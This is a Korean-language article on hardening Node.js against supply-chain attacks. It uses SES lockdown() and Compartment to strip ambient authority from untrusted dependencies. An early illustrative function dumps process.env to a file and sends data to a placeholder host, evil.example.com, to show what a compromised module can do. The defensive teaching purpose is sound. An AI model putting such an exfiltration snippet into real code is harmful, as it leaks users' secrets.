하나의 손상된 전이 의존성이 당신의 process.env를 외부로 유출하고, 파일 시스템에 쓰며, 외부 연결을 열 수 있다. 이를 위해 당신의 코드에 취약점이 있을 필요는 없다. 단지 같은 프로세스 안에 존재하기만 하면 된다. JavaScript에서는 기본적으로 모든 모듈이 런타임의 전체 권한을 상속받는다. 이것이 Ambient Authority이며, 이를 제거하는 것은 Node.js 애플리케이션에 가할 수 있는 가장 효과적인 보안 강화 중 하나다.

JavaScript에서 Ambient Authority의 실체

Ambient Authority란 접근 권한이 “무엇을 받았느냐”가 아니라 “어디에서 실행되느냐”에 묶여 있다는 뜻이다. Node.js 프로세스 내부의 모든 코드는 허가를 구하지 않고 fs, http, child_process, process.env에 손을 댈 수 있다. 런타임은 이러한 전역 객체를 신뢰 여부와 상관없이 모든 모듈에 제공한다.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

innocentUtility 함수는 문자열을 대문자로 바꾸기 위해 가져왔다. 하지만 이 함수는 Node.js 프로세스 내부에서 실행되므로, 환경 변수를 읽고 외부와 통신할 힘도 가지고 있다. 샌드박스는 없다. 권한 모델도 없다. 이 코드는 런타임이 이러한 힘을 손이 닿는 곳에 두었기 때문에, 당연하게 그것을 사용했다.

이것은 가상의 이야기가 아니다. npm에서의 공급망 공격은 정기적으로 이 특성을 악용한다. 악의적이거나 손상된 의존성은 제로데이가 필요 없다. 단지 require되기만 하면 된다.

Lockdown: 첫 번째 절단

Agoric이 유지보수하는 SES(Secure ECMAScript) shim은 lockdown() 함수를 제공하여 JavaScript 환경을 강화한다. 내장 프로토타입을 모두 동결하고, evalFunction 생성자 같은 위험한 전역 객체를 제거하며, 프로토타입 오염을 방지한다. lockdown 이후에는 자신의 코드가 우연히나 악의적으로 Array.prototype이나 Object.prototype을 건드릴 수 없게 된다.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

lockdown은 강력하지만, 그것만으로는 충분하지 않다. 공유 환경의 변조를 막지만, Ambient Authority 자체를 제거하지는 않는다. lockdown된 모듈도 여전히 import fs from 'node:fs'를 실행해 디스크를 읽을 수 있다. lockdown은 언어를 보호한다. 호스트까지는 보호하지 않는다.

Compartment: 호스트로부터의 박탈

Compartment은 독자적인 전역 스코프를 가진 새로운 JavaScript 실행 환경이다. vm 컨텍스트나 Web Worker와는 달리, compartment는 같은 이벤트 루프와 메모리 힙을 공유하지만, 처음에는 아무것도 없다. console도, fetch도, process도 없다. 사용을 허용하는 모든 capability를 명시적으로 부여해야 한다.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

compartment은 파일 시스템이나 네트워크, process.env에 닿을 수 없다. 이러한 capability가 전달되지 않았기 때문이다. compartment 내부의 코드가 손상되더라도, 영향 범위는 부여된 것의 범위 내로 제한된다.

신뢰할 수 없는 모듈을 안전하게 불러오기

진정한 공급망 방어는 서드파티 코드를 compartment 안에 불러오고, 실제로 필요한 권한만 부여하는 것이다. 다음은 CommonJS나 ESM 번들과 함께 동작하는 패턴이다.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

벤더 코드는 같은 프로세스 안에 존재하지만, capability 경계 안에서 동작한다. 소켓을 열 수 없다. 저장소의 package.json을 읽을 수도 없다. 명시적으로 범위를 좁힌 파일만 읽고, 제공한 래퍼를 통해 로그를 출력할 수 있을 뿐이다.

이것은 이론상의 강화가 아니다. Agoric 블록체인은 이 모델을 자체 스마트 계약 플랫폼에 사용한다. 모든 스마트 계약은 lockdown된 compartment 안에서 명시적으로 부여된 capability와 함께 실행된다.

직면하게 될 트레이드오프

compartment은 공짜가 아니다. SES shim은 프로토타입에 패치를 적용하고 일부 내장 동작을 재작성하므로, 작은 초기화 비용이 든다. 더 중요한 것은, 많은 npm 패키지가 Ambient Authority을 전제로 작성되었다는 점이다. 가져오지 않고도 processBuffer, setImmediate에 손을 댄다. 이러한 전역 객체가 없으면 코드가 충돌한다.

세 가지 선택지가 있다. 첫째, 부족한 전역 객체를 안전한 구현으로 compartment 안에 polyfill한다. 둘째, 진짜 전역 객체를 부여하고 위험을 감수한다. 셋째, 의존성을 감사하여 그 전제를 수정한다.

대부분의 경우, 의존성에 필요한 것은 BuffersetTimeout뿐이다. 이들은 부여해도 안전하다. 위험한 것은 fs, net, child_process, process.env다. 이들은 compartment 내부의 코드가 정말로 필요로 하는 경우를 제외하고는 절대 넘겨서는 안 된다. 필요하다고 해도 래핑해야 한다.

디버깅 또한 어려워진다. compartment 내부의 스택 추적은 평가된 문자열이나 가상화된 소스를 가리킨다. 현대 Node.js의 소스맵 지원은 도움이 되지만, 문제가 생겼을 때 줄 번호를 매핑하는 데 시간이 걸린다.

한계

네이티브 애드온과 WASM 모듈은 JavaScript 런타임을 완전히 우회한다. require로 로드된 .node 파일은 SES compartment 외부에서 실행되며 완전한 Ambient Authority를 유지한다. 네이티브 코드를 샌드박스화해야 한다면, compartment은 답이 아니다. 운영 체제 수준의 격리가 필요하다. seccomp, Landlock, 또는 별도의 프로세스다.

compartment은 같은 힙과 이벤트 루프를 공유한다. 무한 루프로 CPU를 고갈시키거나, 메모리를 할당해 프로세스를 충돌시키는 것은 여전히 가능하다. SES는 실행을 제한하는 compute 미터를 제공하지만, 기본 compartment은 리소스 제한을 강제하지 않는다. 이것은 보안 경계이지, 리소스 경계는 아니다.

실용적인 출발점

애플리케이션 전체를 다시 작성할 필요는 없다. 가장 위험한 의존성부터 시작하라. 신뢰할 수 없는 입력을 파싱하는 것, 동적으로 로드되는 것, 모르는 발행자의 것이다.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

플러그인 시스템, 템플릿 엔진, 사용자가 제공한 스크립트를 감싸라. 각각에 일을 하기 위해 필요한 최소한의 권한을 가진 compartment을 부여하라. 의존성이 compartment 안에서 동작하지 않는다면, 그것은 신호다. 그 의존성은 프로세스 전체를 소유하고 있다는 전제 하에 작성되었다. 제거하려는 것이 바로 그 전제다.

FAQ

Compartment과 Node의 vm 모듈의 차이는 무엇인가?

vm은 새로운 전역 객체를 가진 컨텍스트를 만들지만, 명시적으로 제거하지 않는 한 완전한 Node.js API에 접근할 수 있다. compartment은 빈 상태로 시작하며 명시적인 endowment가 필요하다. 또한 런타임 전체에서의 프로토타입 변조를 방지하기 위해 SES lockdown과 통합되어 있다.

TypeScript나 번들러와 함께 사용할 수 있는가?

예. compartment은 JavaScript를 평가하므로, 먼저 TypeScript를 컴파일해야 한다. Rollup이나 esbuild 같은 번들러는 의존성을 하나의 파일로 묶을 수 있고, 그것을 compartment에 로드한다. 번들러는 동적 임포트를 제거하므로, compartment를 이용한 샌드박싱이 실제로 더 쉬워진다.

부여한 capability를 취소할 수 있는가?

직접적으로는 할 수 없다. compartment에 전달된 capability는 JavaScript 객체에 대한 참조다. 취소가 필요하다면, capability를 프록시나 토큰 게이트된 래퍼로 감싸 각 접근 시 플래그를 확인하라. 이것은 모든 capability 시스템이 직면하는 동일한 취소 문제다.

SES는 프로덕션 환경에 준비되어 있는가?

SES는 2021년부터 Agoric 블록체인 상에서 프로덕션으로 운영되고 있다. npm의 ses 패키지는 적극적으로 유지보수되고 있다. JavaScript 표준화를 위한 TC39 제안 프로세스를 통과했지만, 아직 언어 명세의 일부는 아니다.

이것이 컨테이너화를 대체하는가?

아니다. compartment은 프로세스 수준의 보안 경계다. 컨테이너는 운영 체제의 경계다. compartment을 사용해 프로세스 내부의 코드가 무엇을 할 수 있는지 제한하라. 컨테이너를 사용해 프로세스 자체가 무엇을 할 수 있는지 제한하라. 둘은 겹쳐서 사용한다.

Ambient Authority가 JavaScript의 기본값인 것은 편리하기 때문이다. 편의와 보안은 같지 않다. lockdown과 compartment을 통해 모든 모듈이 기본으로 상속하는 환경적 힘을 벗겨내고, 명시적이고 범위가 제한되며 감사 가능한 capability로 대체할 수 있다. 하나의 신뢰할 수 없는 의존성부터 시작하라. 그것을 compartment에 넣고, fsfetch를 빼앗아, 실제로 무엇이 망가지는지 지켜보아라. 망가지는 것 대부분은, 의존성이 가질 자격이 없었던 전제다.